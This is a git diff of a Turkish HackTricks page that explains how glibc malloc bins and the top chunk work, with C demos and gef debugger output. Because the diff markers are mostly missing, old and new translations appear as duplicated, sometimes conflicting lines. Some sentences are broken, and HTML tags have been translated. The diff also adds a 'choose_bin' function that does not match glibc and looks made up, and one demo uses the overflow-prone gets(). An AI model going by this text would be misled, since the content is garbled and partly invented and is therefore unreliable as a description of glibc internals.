AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
Parçaların nasıl depolandığındaki verimliliği artırmak için her parça sadece bir bağlı listede değil, birkaç türde depolanır. Bunlar "bins"lerdir ve 5 tür bin vardır: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) küçük bins, 63 büyük bins, 1 sıralanmamış bin, 10 hızlı bins ve her iş parçacığı için 64 tcache bin'i bulunmaktadır.
Parçaların nasıl depolandığındaki verimliliği artırmak için her parça sadece bir bağlı listede değil, birkaç türde depolanır. Bunlar "bins"lerdir ve 5 tür bin vardır: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) küçük bins, 63 büyük bins, 1 sıralanmamış bin, 10 hızlı bins ve her iş parçacığı için 64 tcache bin'i vardır.
Her sıralanmamış, küçük ve büyük binin başlangıç adresi aynı dizinin içindedir. İndeks 0 kullanılmamıştır, 1 sıralanmamış bin, 2-64 arası küçük binler ve 65-127 arası büyük binlerdir.
Sıralanmamış, küçük ve büyük bins'e her birinin başlangıç adresi aynı dizinin içindedir. İndeks 0 kullanılmaz, 1 sıralanmamış bin, 2-64 arası küçük bins ve 65-127 arası büyük bins'tir.
### Tcache (İş Parçacığı Önbelleği) Bins
### Tcache (İş Parçacığı Başına Önbellek) Bins
İş parçacıkları kendi belleğe sahip olmaya çalışsa da (bkz. [Arenalar](bins-and-memory-allocations.md#arenas) ve [Alt-bellekler](bins-and-memory-allocations.md#subheaps)), birçok iş parçacığına sahip bir işlem (örneğin bir web sunucusu) **belleği diğer iş parçacıklarıyla paylaşabilir**. Bu durumda, ana çözüm **kilitlerin** kullanılmasıdır, bu da iş parçacıklarını **önemli ölçüde yavaşlatabilir**.
İş parçacıkları kendi belleğe sahip olmaya çalışsa da (bkz. [Arenalar](bins-and-memory-allocations.md#arenas) ve [Alt bellekler](bins-and-memory-allocations.md#subheaps)), birçok iş parçacığına sahip bir işlem (örneğin bir web sunucusu) **başka iş parçacıklarıyla belleği paylaşabilir**. Bu durumda, ana çözüm **kilitlerin** kullanılmasıdır, bu da **iş parçacıklarını önemli ölçüde yavaşlatabilir**.
Bu nedenle, bir tcache, parçaları birleştirmeyen **tek yönlü bağlı listedir** ve her iş parçacığının **64 tek yönlü tcache bin'i** bulunmaktadır. Her bir bin, [64 bit sistemlerde 24 ile 1032B ve 32 bit sistemlerde 12 ile 516B arasında](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) aynı boyutta en fazla [7 parçaya](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) sahip olabilir.
Bu nedenle, bir tcache, parçaları birleştirmeyen **tek yönlü bağlı listedir** ve her iş parçacığının **64 tek yönlü tcache bin'i** vardır. Her bir bin, [64 bit sistemlerde 24 ila 1032B ve 32 bit sistemlerde 12 ila 516B arasında değişen](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) en fazla [7 aynı boyutta parçaya](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) sahip olabilir.
Bir iş parçacığı bir parçayı serbest bıraktığında, eğer tcache'de tahsis edilecek kadar büyük değilse ve ilgili tcache bin **dolu değilse** (zaten 7 parça), **oraya tahsis edilecektir**. Tcache'e gidemezse, genel olarak serbest bırakma işlemini gerçekleştirebilmek için bellek kilidinin açılmasını beklemelidir.
Bir iş parçacığı bir parçayı serbest bıraktığında, eğer tcache'e tahsis edilecek kadar büyük değilse ve ilgili tcache bin'i **dolu değilse** (zaten 7 parça), **oraya tahsis edilecektir**. Tcache'e gidemezse, genel bins'te serbest bırakma işlemini gerçekleştirebilmek için bellek kilidinin açılmasını beklemesi gerekir.
Bir **parça tahsis edildiğinde**, eğer **Tcache'de ihtiyaç duyulan boyutta boş bir parça varsa onu kullanır**, yoksa genel bins içinde bir tane bulabilmek veya yeni bir tane oluşturabilmek için bellek kilidinin açılmasını beklemelidir.\
Bu durumda bir optimizasyon da vardır, bu durumda bellek kilidi açıkken, iş parçacığı **istenen boyutta heap parçalarıyla (7) Tcache'ini dolduracaktır**, böylece daha fazla ihtiyaç duyarsa onları Tcache'de bulacaktır.
Bir **parça tahsis edildiğinde**, eğer **Tcache'te ihtiyaç duyulan boyutta boş bir parça varsa onu kullanır**, yoksa genel bins'te bir tane bulmak veya yeni bir tane oluşturabilmek için bellek kilidinin açılmasını beklemesi gerekir.\
Bu durumda bir optimizasyon da vardır, bu durumda bellek kilidi açıkken, iş parçacığı **istenen boyutta heap parçalarıyla (7) Tcache'ini dolduracaktır**, böylece daha fazla ihtiyaç duyarsa onları Tcache'te bulacaktır.
<details>
@ -48,7 +49,7 @@ free(chunk);
return 0;
}
```
Derleyin ve ana işlevden ret komutunda bir kesme noktası ile hata ayıklamayı yapın. Sonra gef ile kullanımda olan tcache binini görebilirsiniz:
Derleyin ve ana işlevden ret opcode'unda bir kesme noktası ile hata ayıklamayı yapın. Sonra gef ile kullanımda olan tcache binini görebilirsiniz:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -157,23 +158,23 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
#### Tcache İndeksleri
Tcache, **her bir indeksin ilk parçasına işaret eden başlangıç işaretçilerine ve her indeks için parça miktarına bağlı olarak çeşitli bölümlere sahiptir ve bu bilgiler bir parçanın içinde bulunur**. Bu, bu bilgileri içeren parçayı (genellikle ilk parçayı) bulmak, tüm tcache başlangıç noktalarını ve Tcache parça miktarını bulmayı mümkün kılar.
Tcache, **her bir indeksin boyutuna ve başlangıç işaretçilerine bağlı olarak birkaç farklı bina sahiptir ve her indeks için ilk parçanın ve indeks başına düşen parça miktarının bir parça içinde bulunduğu anlamına gelir**. Bu, bu bilgiyi içeren parçayı (genellikle ilk parçayı) bulmak, tüm tcache başlangıç noktalarını ve Tcache parça miktarını bulmayı mümkün kılar.
### Hızlı Bins
Hızlı bölümler, **küçük parçalar için bellek tahsisini hızlandırmak için tasarlanmıştır** ve son zamanlarda serbest bırakılan parçaları hızlı erişimli bir yapıda tutarak çalışır. Bu bölümler, Son Giren İlk Çıkar (LIFO) yaklaşımını kullanır, yani **en son serbest bırakılan parça, yeni bir tahsis isteği olduğunda ilk olarak yeniden kullanılır**. Bu davranış hız için avantajlıdır, çünkü bir yığının üstünden (LIFO) ekleme ve çıkarma yapmak, bir kuyruktan (FIFO) ekleme ve çıkarmaya göre daha hızlıdır.
Hızlı binalar, **küçük parçalar için hafıza tahsili işlemini hızlandırmak için tasarlanmıştır** ve son zamanlarda serbest bırakılan parçaları hızlı erişim yapısında tutarak. Bu binalar, Son Giren İlk Çıkar (LIFO) yaklaşımını kullanır, bu da demektir ki **en son serbest bırakılan parça, yeni bir tahsis isteği olduğunda ilk olarak yeniden kullanılır**. Bu davranış hız için avantajlıdır, çünkü bir yığının üstünden (LIFO) ekleme ve çıkarma yapmak, bir kuyruktan (FIFO) daha hızlıdır.
Ayrıca, **hızlı bölümler tek yönlü bağlı listeleri kullanır**, çift yönlü değil, bu da hızı daha da artırır. Hızlı bölümlerde parçalar komşularıyla birleştirilmediği için, ortadan kaldırma izni veren karmaşık bir yapıya ihtiyaç yoktur. Tek yönlü bir liste, bu işlemler için daha basit ve daha hızlıdır.
Ayrıca, **hızlı binalar tek yönlü bağlı listeleri kullanır**, çift yönlü değil, bu da hızı daha da artırır. Hızlı binalardaki parçalar komşularla birleştirilmediği için, ortadan kaldırma izni veren karmaşık bir yapıya ihtiyaç yoktur. Tek yönlü bağlı liste, bu işlemler için daha basit ve daha hızlıdır.
Temelde burada olan şey, başlık (kontrol edilecek ilk parçaya işaret eden işaretçi) her zaman o boyuttaki en son serbest bırakılan parçaya işaret eder. Dolayısıyla:
Temelde burada olan şey, başlık (kontrol edilecek ilk parçanın işaretçisi) her zaman o boyuttaki en son serbest bırakılan parçaya işaret eder. Dolayısıyla:
* Bu boyutta yeni bir parça tahsis edildiğinde, başlık kullanılacak bir boş parçaya işaret eder. Bu boş parça, kullanılacak bir sonraki parçaya işaret ettiği için, bu adres başlıkta saklanır, böylece bir sonraki tahsis nereden uygun bir parça alacağını bilir
* Bir parça serbest bırakıldığında, boş parça, mevcut uygun parçanın adresini kaydeder ve bu yeni serbest bırakılan parçanın adresi başlığa konur
* O boyutta yeni bir parça tahsis edildiğinde, başlık kullanılacak bir boş parçaya işaret eder. Bu boş parça, kullanılacak bir sonraki parçaya işaret ettiği için, bu adres başlıkta saklanır, böylece bir sonraki tahsis nereden kullanılabilir bir parça alacağını bilir
* Bir parça serbest bırakıldığında, boş parça, mevcut kullanılabilir parçanın adresini kaydeder ve bu yeni serbest bırakılan parçanın adresi başlığa konur
Bağlı liste maksimum boyutu `0x80` ve bir `0x20` boyutundaki parça `0` indekste olacak şekilde düzenlenir.
Bağlı liste maksimum boyutu `0x80` ve bir `0x20` boyutundaki bir parça `0` indekste olacaktır, bir `0x30` boyutundaki bir parça `1` indekste olacaktır...
{% hint style="danger" %}
Hızlı bölümlerdeki parçalar uygun olarak ayarlanmadığından, etraflarındaki diğer serbest parçalarla birleştirilebilme yeteneği yerine bir süre hızlı bölüm parçaları olarak tutulurlar.
Hızlı binalardaki parçalar kullanılabilir olarak ayarlanmadığından, etraflarındaki diğer serbest parçalarla birleştirilebilme yeteneğine sahip olmaları yerine bir süre hızlı bina parçaları olarak tutulurlar.
{% endhint %}
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
@ -210,7 +211,7 @@ typedef struct malloc_chunk *mfastbinptr;
```
<detaylar>
<özet> Hızlı bin parça örneği ekle </özet>
<özet> Hızlı bir blok örneği ekle </özet>
```c
#include <stdlib.h>
#include <stdio.h>
@ -238,7 +239,9 @@ free(chunks[i]);
return 0;
}
```
Not allokasyon ve serbest bırakma işlemlerini aynı boyutta 8 parça için nasıl yaptığımıza dikkat edin, böylece tcache'i doldurSiz de `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile derleyin ve hata ayıklama yapın. Sonra `gef` ile tcache bin'in dolu olduğunu ve bir parçanın hızlı binde olduğunu görebilirsiniz:
Not: Aynı boyutta 8 parça ayırdığımızı ve serbest bıraktığımızı ve bunların tcache'i doldurduğunu ve sekizincisinin hızlı parçada depolandığını gözlemleyin.
Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklamayı başlatın. Sonra `gef` ile tcache bininin dolu olduğunu ve bir parçanın hızlı binde olduğunu görebilirsiniz:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -247,15 +250,13 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00
```
</details>
### Sıralanmamış kova
Sıralanmamış kova, bellek tahsisini hızlandırmak için kullanılan bir **önbellek**tir. İşte nasıl çalışır: Bir program bir parçayı serbest bıraktığında ve bu parça bir tcache veya hızlı kova içinde tahsis edilemiyorsa ve üst parçayla çakışmıyorsa, bellek yöneticisi hemen onu belirli bir küçük veya büyük kovaya koymaz. Bunun yerine, önce **yanındaki diğer boş parçalarla birleştirmeye** çalışarak daha büyük bir boş bellek bloğu oluşturur. Daha sonra, bu yeni parçayı "sıralanmamış kova" olarak adlandırılan genel bir kovaya yerleştirir.
Sıralanmamış kova, bellek tahsisini hızlandırmak için kullanılan bir **önbellek**tir. İşleyişi şöyledir: Bir program bir parçayı serbest bıraktığında ve bu parça bir tcache veya hızlı kova içinde tahsis edilemiyorsa ve en üst parçayla çakışmıyorsa, bellek yöneticisi hemen onu belirli bir küçük veya büyük kovaya koymaz. Bunun yerine, öncelikle **bitişik boş parçalarla birleştirmeye** çalışarak daha büyük bir boş bellek bloğu oluşturur. Daha sonra, bu yeni parçayı "sıralanmamış kova" olarak adlandırılan genel bir kovaya yerleştirir.
Bir program **bellek istediğinde**, bellek yöneticisi **sıralanmamış kovayı kontrol eder** ve yeterli boyutta bir parça bulunup bulunmadığını kontrol eder. Bir tane bulursa, hemen kullanır. Sıralanmamış kovada uygun bir parça bulamazsa, bu listedeki tüm parçaları boyutlarına bağlı olarak küçük veya büyük kovalarına taşır.
Bir program **bellek istediğinde**, bellek yöneticisi **sıralanmamış kovayı kontrol eder** ve yeterli boyutta bir parça bulunup bulunmadığına bakar. Bir tane bulursa, hemen kullanır. Sıralanmamış kovada uygun bir parça bulamazsa, bu listedeki tüm parçaları boyutlarına göre küçük veya büyük kovalarına taşır.
Dikkat edin, daha büyük bir parça ikiye bölünürse ve geriye kalan kısım MINSIZE'dan büyükse, tekrar sıralanmamış kovaya yerleştirilecektir.
Dikkat edilmesi gereken bir nokta, daha büyük bir parçanın 2 yarısına bölündüğü ve geri kalanın MINSIZE'dan büyük olduğu durumda, tekrar sıralanmamış kovaya yerleştirileceğidir.
Bu nedenle, sıralanmamış kova, son zamanlarda serbest bırakılan belleği hızlı bir şekilde yeniden kullanarak bellek tahsisini hızlandırmak ve zaman alıcı aramaları ve birleştirmeleri azaltmak için bir yöntemdir.
@ -293,9 +294,9 @@ free(chunks[i]);
return 0;
}
```
Not allokasyon ve serbest bırakma işlemlerini 9 aynı boyutta parça için nasıl yaptığımıza dikkat edin, böylece **tcache'i doldururlar** ve sekizincisi **fastbin için çok büyük olduğu için** sıralanmamış binde depolanır ve dokuzuncusu serbest bırakılmaz, bu yüzden dokuzuncu ve sekizinci **üst parça ile birleştirilmez**.
Not: Aynı boyutta 9 parça ayırdığımızı ve serbest bıraktığımızı **dikkate alın, bu şekilde tcache'i doldururuz** ve sekizincisi **fastbin için çok büyük olduğu için düzensiz kutuya depolanır** ve dokuzuncusu serbest bırakılmaz, bu yüzden dokuzuncu ve sekizinci **üst parça ile birleştirilmez**.
Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklamayı yapın. Sonra `gef` ile tcache bininin dolu olduğunu ve bir parçanın sıralanmamış binde olduğunu görebilirsiniz:
Derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklamayı başlatın. Sonra `gef` ile tcache bininin dolu olduğunu ve bir parçanın düzensiz kutuda olduğunu görebilirsiniz:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -317,14 +318,14 @@ Fastbins[idx=6, size=0x80] 0x00
### Küçük Bins
Küçük binalar büyük binalardan daha hızlıdır ancak hızlı binalardan daha yavaştır.
Küçük bins'ler büyük bins'lerden daha hızlı ancak fast bins'lerden daha yavaştır.
62'nin her bir kutusu aynı boyutta **parçalara** sahip olacaktır: 16, 24, ... (32 bitlerde maksimum 504 bayt ve 64 bitlerde 1024). Bu, bir boşluğun tahsis edilmesi gereken binin bulunmasında, bu listelerdeki girişlerin eklenmesi ve çıkarılmasında hız sağlar.
62 bins'ten her biri **aynı boyutta parçalara** sahip olacaktır: 16, 24, ... (32 bit için maksimum 504 bayt ve 64 bit için 1024 bayt). Bu, bir alanın tahsis edilmesi gereken binin bulunmasında, bu listelerdeki girişlerin eklenmesi ve çıkarılmasında hız sağlar.
Küçük binin boyutu, binin indeksine göre nasıl hesaplandığı şöyledir:
Küçük binin boyutu, binin indeksine göre nasıl hesaplandığı aşağıdaki gibidir:
* En küçük boyut: 2\*4\*indeks (örneğin, indeks 5 -> 40)
* En büyük boyut: 2\*8\*indeks (örneğin, indeks 5 -> 80)
* En küçük boyut: 2\*4\*index (örneğin, indeks 5 -> 40)
* En büyük boyut: 2\*8\*index (örneğin, indeks 5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
@ -339,7 +340,15 @@ Küçük binin boyutu, binin indeksine göre nasıl hesaplandığı şöyledir:
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
```
Küçük ve büyük kutular arasında seçim yapmak için işlev:
```c
void *choose_bin(size_t size) {
if (size <= SMALL_BIN_SIZE) {
return small_bin;
} else {
return large_bin;
}
}
```
```c
#define bin_index(sz) \
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
@ -376,9 +385,9 @@ chunks[9] = malloc(0x110);
return 0;
}
```
Not allokasyon ve serbest bırakma işlemlerini 9 aynı boyutta parça için nasıl yaptığımıza dikkat edin, böylece **tcache'i doldururlar** ve sekizincisi **fastbin için çok büyük olduğu için** sıralanmamış binde depolanır ve dokuzuncusu serbest bırakılmaz, bu yüzden dokuzuncu ve sekizinci **üst parça ile birleştirilmez**. Daha sonra 0x110 boyutunda daha büyük bir parça tahsis ederiz, bu da **sıralanmamış bindeki parçanın küçük bine gitmesine neden olur**.
Not allokasyon ve serbest bırakma işlemlerini 9 aynı boyutta parça için nasıl yaptığımıza dikkat edin, böylece **tcache'i doldururlar** ve sekizincisi **hızlı bin için çok büyük olduğu için düzensiz binde depolanır** ve dokuzuncusu serbest bırakılmaz, bu nedenle dokuzuncu ve sekizinci **üst parça ile birleştirilmez**. Daha sonra 0x110 boyutunda daha büyük bir parça tahsis ederiz, bu da **düzensiz bindeki parçanın küçük bine gitmesine neden olur**.
Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklamayı başlatın. Sonra `gef` ile tcache bininin dolu olduğunu ve bir parçanın küçük binde olduğunu görebilirsiniz:
Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklamayı yapın. Ardından `gef` ile tcache bininin dolu olduğunu ve bir parçanın küçük binde olduğunu görebilirsiniz:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -398,13 +407,15 @@ Fastbins[idx=6, size=0x80] 0x00
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins.
```
</details>
### Büyük kovalar
Küçük kovaların aksine, her **büyük kova bir aralığı yönetir**. Bu daha esnek bir yapıya sahiptir, çeşitli boyutları **ayrı bir kova oluşturmadan** barındırabilmesine olanak tanır.
Küçük kovaların aksine, her **büyük kova bir aralıkta parça boyutlarını yönetir**. Bu daha esnek bir yapıya sahiptir, çeşitli boyutları **ayrı bir kova gerektirmeden** sistemde barındırabilir.
Bir bellek tahsis edici içinde büyük kovalar, küçük kovaların bittiği yerden başlar. Büyük kovalar için aralıklar giderek büyür, yani ilk kova 512 ile 576 bayt arasındaki parçaları kapsayabilirken, bir sonraki kova 576 ile 640 bayt arasındakileri kapsar. Bu desen devam eder ve en büyük kova 1MB'nin üzerindeki tüm parçaları içerir.
Bir bellek tahsis edici içinde büyük kovalar, küçük kovaların bittiği yerden başlar. Büyük kovalar için aralıklar giderek büyür, yani ilk kova 512 ile 576 bayt arasındaki parçaları kapsayabilirken, bir sonraki kova 576 ile 640 bayt arasındakileri kapsar. Bu desen devam eder ve en büyük kova 1MB üzerindeki tüm parçaları içerir.
Büyük kovalar, bir tahsis için **en iyi uyumu bulmak için değişen parça boyutlarının listesini sıralamak ve aramak zorunda olduklarından küçük kovalara göre daha yavaş çalışırlar**. Bir parça büyük bir kovaya eklendiğinde sıralanmalı ve bellek tahsis edildiğinde sistem doğru parçayı bulmalıdır. Bu ekstra iş onları **daha yavaş** yapar, ancak büyük tahsisler küçük olanlardan daha az yaygın olduğundan, bu kabul edilebilir bir takastır.
Büyük kovalar, bir tahsis için en iyi uyumu bulmak için **değişen parça boyutlarının listesinde sıralama ve arama yapmak zorunda kaldıkları için** küçük kovalara göre daha yavaş çalışırlar. Bir parça büyük bir kovaya eklendiğinde sıralanmalı ve bellek tahsis edildiğinde sistem doğru parçayı bulmalıdır. Bu ekstra iş onları **daha yavaş** yapar, ancak büyük tahsisler küçük olanlardan daha az olduğu için kabul edilebilir bir takas yapılır.
Şunlar vardır:
@ -457,7 +468,7 @@ Büyük kovalar, bir tahsis için **en iyi uyumu bulmak için değişen parça b
<details>
<summary>Büyük bir parça örneği ekle</summary>
<summary>Büyük bir parça örneği ekleyin</summary>
```c
#include <stdlib.h>
#include <stdio.h>
@ -525,9 +536,10 @@ the 2 preceding words to be zero during this interval as well.)
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
Temelde, bu şu anda mevcut olan heap'i içeren bir parçadır. Bir malloc işlemi gerçekleştirildiğinde, kullanılacak boş bir parça yoksa, bu üst parça gerekli alanı vermek için boyutunu azaltacaktır. Top Parça'nın işaretçisi `malloc_state` yapısında saklanır.
Temelde, şu anda mevcut olan heap'in tümünü içeren bir parçadır. Bir malloc işlemi gerçekleştirildiğinde, kullanılabilecek herhangi bir boş parça yoksa, bu üst parça gerekli alanı vererek boyutunu azaltacaktır.\
Top Chunk'a işaret eden işaretçi, `malloc_state` yapısında saklanır.
Ayrıca, başlangıçta, sırasız parçayı üst parça olarak kullanmak mümkündür.
Ayrıca, başlangıçta, üst parça olarak sırasız parçayı kullanmak mümkündür.
<details>
@ -545,7 +557,7 @@ gets(chunk);
return 0;
}
```
Derleyip hata ayıkladıktan sonra `main`'in `ret` işlem kodundaki kesme noktasıyla hata ayıkladım ve malloc'un `0xaaaaaaac12a0` adresini döndürdüğünü gördüm ve bunlar parçalar:
Derleyip hata ayıkladıktan sonra `main`'in `ret` işlem kodundaki bir kesme noktasıyla hata ayıkladım ve malloc'un `0xaaaaaaac12a0` adresini döndürdüğünü gördüm ve bunlar parçalar:
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
@ -558,8 +570,8 @@ Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
Top chunk'ın `0xaaaaaaac1ae0` adresinde olduğu görülebilir. Bu, son tahsis edilen parçanın `0xaaaaaaac12a0` adresinde ve `0x410` boyutunda olduğu için şaşırtıcı değil ve `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` olur.\
Ayrıca, Top chunk'ın boyutunu chunk başlığında görmek de mümkündür:
Top bloğun adresinin `0xaaaaaaac1ae0` olduğu görülebilir. Bu bir sürpriz değil çünkü en son ayrılan blok `0xaaaaaaac12a0` adresindeydi ve boyutu `0x410` idi ve `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` olur.\
Ayrıca, Top bloğun uzunluğu da blok başlığında görülebilir:
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
@ -587,9 +599,9 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16
[free.md](heap-memory-functions/free.md)
{% endcontent-ref %}
## Yığın Fonksiyonları Güvenlik Kontrolleri
## Heap Fonksiyonları Güvenlik Kontrolleri
Yığın içinde sıkça kullanılan fonksiyonlar tarafından gerçekleştirilen güvenlik kontrollerini kontrol edin:
Heap'te sıkça kullanılan fonksiyonlar tarafından gerçekleştirilen güvenlik kontrollerini kontrol edin:
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
@ -602,16 +614,17 @@ Yığın içinde sıkça kullanılan fonksiyonlar tarafından gerçekleştirilen
* [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Çift Serbest Bırakma
{% hint style="success" %}
